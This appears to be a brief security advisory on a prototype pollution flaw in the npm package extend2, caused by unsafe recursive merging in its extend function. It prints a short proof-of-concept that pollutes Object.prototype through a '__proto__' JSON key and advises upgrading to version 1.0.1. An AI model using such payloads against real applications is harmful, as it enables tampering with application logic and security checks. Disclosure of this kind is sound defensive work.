    Prototype Pollution

    extend2 is a forked from node-extend, the difference is overriding array as primitive when deep clone.

    Affected versions of this package are vulnerable to Prototype Pollution via the extend function due to unsafe recursive merge.

    POC:

    
var e = require ("extend2")
e(true, {}, JSON.parse('{"__proto__": {"polluted": "yes"}}'))
console.log("Is polluted? " + "anything".polluted)

    How to fix Prototype Pollution?

    Upgrade extend2 to version 1.0.1 or higher.
